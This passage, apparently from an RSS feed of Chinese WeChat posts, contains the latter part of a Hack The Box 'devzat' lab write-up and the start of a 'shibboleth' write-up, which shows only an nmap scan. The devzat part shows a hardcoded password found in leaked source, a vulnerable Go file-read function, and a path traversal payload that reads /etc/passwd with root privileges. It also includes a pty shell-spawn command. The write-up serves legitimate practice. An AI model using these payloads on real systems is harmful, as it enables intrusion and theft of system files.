devzat-dev.zip</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root         268 Sep 29 11:46 dpkg.diversions.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root         170 Jul 16 06:41 dpkg.statoverride.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root     951869 Sep 28 18:45 dpkg.status.0</span></span></code></pre><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">catherine@devzat:/tmp/dev$ grep -iR pass</span></code><code><span class="code-snippet_outer">grep -iR pass</span></code><code><span class="code-snippet_outer">devchat.<span class="code-snippet__keyword">go</span>:             u.writeln(<span class="code-snippet__string">&#34;patrick&#34;</span>, <span class="code-snippet__string">&#34;That&#39;s perfectly fine :thumbs_up: You&#39;ll need a password which you can gather from the source. I left it in our default backups location.&#34;</span>)</span></code><code><span class="code-snippet_outer">commands.<span class="code-snippet__keyword">go</span>:           u.system(<span class="code-snippet__string">&#34;Please provide file to print and the password&#34;</span>)</span></code><code><span class="code-snippet_outer">commands.<span class="code-snippet__keyword">go</span>:           u.system(<span class="code-snippet__string">&#34;You need to provide the correct password to use this function&#34;</span>)</span></code><code><span class="code-snippet_outer">commands.<span class="code-snippet__keyword">go</span>:   pass := args[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">commands.<span class="code-snippet__keyword">go</span>:   <span class="code-snippet__comment">// Check my secure password</span></span></code><code><span class="code-snippet_outer">commands.<span class="code-snippet__keyword">go</span>:   <span class="code-snippet__keyword">if</span> pass != <span class="code-snippet__string">&#34;CeilingCatStillAThingIn2021?&#34;</span> {</span></code><code><span class="code-snippet_outer">commands.<span class="code-snippet__keyword">go</span>:           u.system(<span class="code-snippet__string">&#34;You did provide the wrong password&#34;</span>)</span></code><code><span class="code-snippet_outer">testfile.txt:Through me you pass into the city of woe:</span></code><code><span class="code-snippet_outer">testfile.txt:Through me you pass into eternal pain:</span></code></pre><p cid="n87" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">有一个密码CeilingCatStillAThingIn2021?</span><br/></p><pre spellcheck="false" lang="" cid="n88" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">python3 -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34;</span></pre><p cid="n89" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">发现root启动了一个进程。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="58" data-backw="578" data-galleryid="" data-ratio="0.10048309178743961" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1035" src="https://wechat2rss.xlab.app/img-proxy/?k=cfc783ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYwxyhWcjKkVFbbUic7I3H4ibAIVOPalmIuaMia0o5xTtd9R0RlBhY3S4pw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="578" data-backw="578" data-galleryid="" data-ratio="1" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1293" src="https://wechat2rss.xlab.app/img-proxy/?k=d446db6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYdhgFUrJQ3znfgdicrCib1Z48FHEaZXfibia3ZhTN8daFOFtJAk8qribzyeQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n93" mdtype="paragraph"><br/></p><p cid="n93" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">经过比对后发现两份源码关键的变化在</span></p><p cid="n94" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">可以使用命令diff</span></p><pre spellcheck="false" lang="bash" cid="n95" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">diff</span> dev/commands.go main/commands.go &gt;&gt; <span style="box-sizing: border-box;color: rgb(51, 0, 170);">diff</span>.txt</span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="593" data-backw="578" data-galleryid="" data-ratio="1.0263405456255879" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1063" src="https://wechat2rss.xlab.app/img-proxy/?k=bf71669a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYWNB7ibO4s16WovAjzX4ON5HXibUO5KNicUlG87jAv6ibibB8icpYCA9OYLqw%2F640%3Fwx_fmt%3Dpng"/></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">fileCommand</span><span class="code-snippet__params">(u *user, args []<span class="code-snippet__keyword">string</span>)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(args) &lt; <span class="code-snippet__number">1</span> {</span></code><code><span class="code-snippet_outer">    u.system(<span class="code-snippet__string">&#34;Please provide file to print and the password&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(args) &lt; <span class="code-snippet__number">2</span> {</span></code><code><span class="code-snippet_outer">    u.system(<span class="code-snippet__string">&#34;You need to provide the correct password to use this function&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  path := args[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">  pass := args[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Check my secure password</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> pass != <span class="code-snippet__string">&#34;CeilingCatStillAThingIn2021?&#34;</span> {</span></code><code><span class="code-snippet_outer">    u.system(<span class="code-snippet__string">&#34;You did provide the wrong password&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Get CWD 获取目录</span></span></code><code><span class="code-snippet_outer">  cwd, err := os.Getwd()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    u.system(err.Error())</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Construct path to print 拼接路径</span></span></code><code><span class="code-snippet_outer">  printPath := filepath.Join(cwd, path)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Check if file exists 检查文件是否存在</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> _, err := os.Stat(printPath); err == <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// exists, print</span></span></code><code><span class="code-snippet_outer">    file, err := os.Open(printPath)<span class="code-snippet__comment">//打开文件</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      u.system(fmt.Sprintf(<span class="code-snippet__string">&#34;Something went wrong opening the file: %+v&#34;</span>, err.Error()))</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">defer</span> file.Close()<span class="code-snippet__comment">//go 语言特性：defer 存在的函数或语句最后执行</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//go中文件读取操作，由于服务是使用root启动的，可以读取root权限的文件。</span></span></code><code><span class="code-snippet_outer">    scanner := bufio.NewScanner(file)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> scanner.Scan() {</span></code><code><span class="code-snippet_outer">      u.system(scanner.Text())<span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err := scanner.Err(); err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      u.system(fmt.Sprintf(<span class="code-snippet__string">&#34;Something went wrong printing the file: %+v&#34;</span>, err.Error()))</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> os.IsNotExist(err) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// does not exist, print error</span></span></code><code><span class="code-snippet_outer">    u.system(fmt.Sprintf(<span class="code-snippet__string">&#34;The requested file @ %+v does not exist!&#34;</span>, printPath))</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// bokred?</span></span></code><code><span class="code-snippet_outer">  u.system(<span class="code-snippet__string">&#34;Something went badly wrong.&#34;</span>)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__params">(u *user)</span> <span class="code-snippet__title">system</span><span class="code-snippet__params">(message <span class="code-snippet__keyword">string</span>)</span></span> {<span class="code-snippet__comment">//输出函数</span></span></code><code><span class="code-snippet_outer">  u.term.Write([]<span class="code-snippet__keyword">byte</span>(red.Paint(<span class="code-snippet__string">&#34;[SYSTEM] &#34;</span>) + mdRender(message, <span class="code-snippet__number">9</span>, u.win.Width) + <span class="code-snippet__string">&#34;\n&#34;</span>))</span></code><code><span class="code-snippet_outer">}</span></code></pre><p cid="n99" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">这段代码中存在可控的文件读取功能。</span></p><p cid="n100" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">可以通过控制第一个参数控制路径，通过第二个参数pass绕过检测。</span></p><pre spellcheck="false" lang="" cid="n101" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ssh -l root 127.0.0.1 -p 8443</span></pre><p cid="n103" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">构造payload</span></p><pre spellcheck="false" lang="" cid="n104" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">file ../../../../etc/passwd CeilingCatStillAThingIn2021?</span></pre><p cid="n106" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">上传公钥，连接一个稳定ssh再试</span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="219" data-backw="578" data-galleryid="" data-ratio="0.37827536922343974" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="2099" src="https://wechat2rss.xlab.app/img-proxy/?k=e0e0fd4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYTcNUeKNn1q4zovkoxG4oH5yyvicRZb5nEtSAZtlE5gjJHP2cEq1ibhUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">成功</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="316" data-backw="578" data-galleryid="" data-ratio="0.546742209631728" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1059" src="https://wechat2rss.xlab.app/img-proxy/?k=4ee931a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYRIgrzOb65uPKS3yIXeDA8ODcGmz6vy8PBq9HicHAhzAdxzXLPN1A8PA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="525" data-backw="578" data-galleryid="" data-ratio="0.908675799086758" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=1a362281&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYVdBe6rx0YqGiajAibv1Py1An2rInvJM5Tk2ohUkSz9j5I8SXUkub4jDQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p cid="n89" mdtype="paragraph" style="color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;"><span data-raw-text="喜" data-textnode-index="203" data-index="5473" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="喜" data-textnode-index-1644159862381="742" data-index-1644159862381="8109" class="character"></span></span></span></p><p cid="n89" mdtype="paragraph" style="color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;"><span data-raw-text="喜" data-textnode-index="203" data-index="5473" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="喜" data-textnode-index-1644159862381="742" data-index-1644159862381="8109" class="character">喜</span></span><span data-raw-text="欢" data-textnode-index="203" data-index="5474" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="欢" data-textnode-index-1644159862381="743" data-index-1644159862381="8110" class="character">欢</span></span><span data-raw-text="就" data-textnode-index="203" data-index="5475" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="就" data-textnode-index-1644159862381="744" data-index-1644159862381="8111" class="character">就</span></span><span data-raw-text="请" data-textnode-index="203" data-index="5476" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="请" data-textnode-index-1644159862381="745" data-index-1644159862381="8112" class="character">请</span></span><span data-raw-text="关" data-textnode-index="203" data-index="5477" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="关" data-textnode-index-1644159862381="746" data-index-1644159862381="8113" class="character">关</span></span><span data-raw-text="注" data-textnode-index="203" data-index="5478" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="注" data-textnode-index-1644159862381="747" data-index-1644159862381="8114" class="character">注</span></span><span data-raw-text="我" data-textnode-index="203" data-index="5479" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="我" data-textnode-index-1644159862381="748" data-index-1644159862381="8115" class="character">我</span></span><span data-raw-text="们" data-textnode-index="203" data-index="5480" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="们" data-textnode-index-1644159862381="749" data-index-1644159862381="8116" class="character">们</span></span><span data-raw-text="吧" data-textnode-index="203" data-index="5481" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="吧" data-textnode-index-1644159862381="750" data-index-1644159862381="8117" class="character">吧</span></span><span data-raw-text="！" data-textnode-index="203" data-index="5482" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="！" data-textnode-index-1644159862381="751" data-index-1644159862381="8118" class="character">！</span></span></span></p><p cid="n89" mdtype="paragraph" style="color: rgb(53, 53, 53);font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;"><span data-raw-text="！" data-textnode-index="203" data-index="5482" class="character hover" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;"><span data-raw-text="！" data-textnode-index-1644159862381="751" data-index-1644159862381="8118" class="character"><br/></span></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2933333333333332" style="" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></p><p style="text-align: center;"><br/></p>




]]></content:encoded>
      <pubDate>Sun, 06 Feb 2022 23:12:02 +0800</pubDate>
    </item>
    <item>
      <title>【HTB系列】shibboleth</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485017&amp;idx=1&amp;sn=2d1af0ba4cc3575448b9c608ffb006f4</link>
      <description>【HTB系列】shibboleth</description>
      <content:encoded><![CDATA[<p>
原创 <span>Carnival</span> <span>2022-02-03 11:44</span> <span style="display: inline-block;"></span>
</p>

<p>【HTB系列】shibboleth</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2171d2d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYQqbiaQDxsQrZm8wic4WibXuE6x21vRibhYPrFpJ8usS2yfGJl3giaY65vWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;font-size: 1.5em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x01 信息收集</span></h3><pre spellcheck="false" lang="bash" cid="n4" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"># nmap 10.10.11.124 --min-rate=1000 -sV -sC -p-</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Starting Nmap <span style="box-sizing: border-box;color: rgb(17, 102, 68);">7</span>.92 ( https://nmap.org ) at <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2021</span><span style="box-sizing: border-box;color: rgb(0, 0, 204);">-11-23</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">23</span>:32 EST</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap scan report <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> loaclhost (10.10.11.124)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Host is up (0.21s latency).</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Not shown: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">65534</span> closed tcp ports (reset)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">PORT   STATE SERVICE VERSION</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">80</span>/tcp open  http    Apache httpd <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>.4.41</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|_http-title: Did not follow redirect to http://shibboleth.htb/</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|_http-server-header: Apache/2.4.41 (Ubuntu)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Service Info: Host: shibboleth.htb</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap <span style="box-sizing: border-box;color: rgb(119, 0, 136);">done</span>: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> IP address (1 host up) scanned <span style="box-sizing: border-box;color: rgb(119, 0, 136);">in</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">84</span>.40 seconds</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><pre spellcheck="false" lang="" cid="n5" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">10.10.11.124 shibboleth.htb</span></pre><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span 